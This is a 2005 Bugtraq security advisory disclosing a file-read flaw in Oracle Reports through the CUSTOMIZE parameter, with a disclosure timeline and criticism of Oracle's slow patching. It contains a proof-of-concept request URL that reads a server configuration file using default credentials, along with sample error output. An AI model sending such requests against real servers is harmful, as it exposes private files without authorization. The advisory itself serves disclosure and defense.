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Oracle Security Advisory: Read parts of any XML-file via customize parameter in Oracle Reports
From: ak () red-database-security com
Date: 19 Jul 2005 12:25:46 -0000

Dear Bugtraq Reader

3 months ago (15-april-2005) I informed the Oracle Security Team (secalert_us () oracle com) that I will publish bug 
details if the bugs are not fixed with the next critical patch update (CPU July 2005). I know that Oracle products are 
complex and a good patch quality need some time. That's why I offered Oracle additional time if 3 months are not 
sufficient for fixing the bugs. Oracle never asked for more time.

Oracle's behaviour not fixing critical security bugs for a long time (over 650 days) is not acceptable for their 
customers. Oracle put their customers in danger. At least one critical vulnerability can be abused from any attacker 
via internet.

I decided to publish these vulnerabilities because it is possible to mitigate the risk of these vulnerabilities by 
using the workarounds provided in the advisories.


Kind Regards

 Alexander Kornbrust

 www.red-database-security.com

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Red-Database-Security GmbH  - Oracle Security Advisory

Read parts of any XML-file via customize parameter in Oracle Reports


 Name                Read parts of any XML-file via customize parameter in
                     Oracle Reports
 Systems Affected    All version of Oracle Reports
 Severity            Medium Risk 
 Category            Information disclosure
 Vendor URL          http://www.oracle.com 
 Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                19 July 2005 (V 1.00) 
 Advisory            AKSEC2003-007
 Inital bug report   693 days ago
 Advisory-URL       
http://www.red-database-security.com/advisory/oracle_reports_read_any_xml_file.h
tml



Details
#######
Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting
tool. It enables businesses to give immediate acces to information to all levels
within and outside of the organization in an unrivaled scalable and secure
environment. Oracle Reports, a component of the Oracle Application Server, is
used by Oracle itself for the E-Business Suite. Many large customers are using
Oracle Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an absolute or
relative file name.
Parts of the file content are displayed in the Reports error message (see test
case).



Testcase
########
http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger () iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro
duct/9.0.2/webcache/webcache.xml

***Reports Output****

REP--866648059: Error in the XML report definition at line 3 in
'
Element 'CALYPSO' used but not declared.'.

***Reports Output****

 


Workarounds
###########
Available at http://www.red-database-security.com/advisory/oracle_reports_read_any_xml_file.html

 

Affected systems
################
All versions of Oracle Reports are affected.



Patch Information
#################
This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July 2005). It
seems that Oracle is NOT INTERESTED to fix this issue and provide patches for
this issue.
If you think you need a patch to protect your Oracle Application Server you
should contact Oracle.


History
#######
26-aug-2003 Oracle secalert was informed

27-aug-2003 Bug confirmed

15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security offered 
Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.

12-jul-2005 Oracle published CPU July 2005 without fixing this issue

19-jul-2005 Red-Database-Security published this advisory




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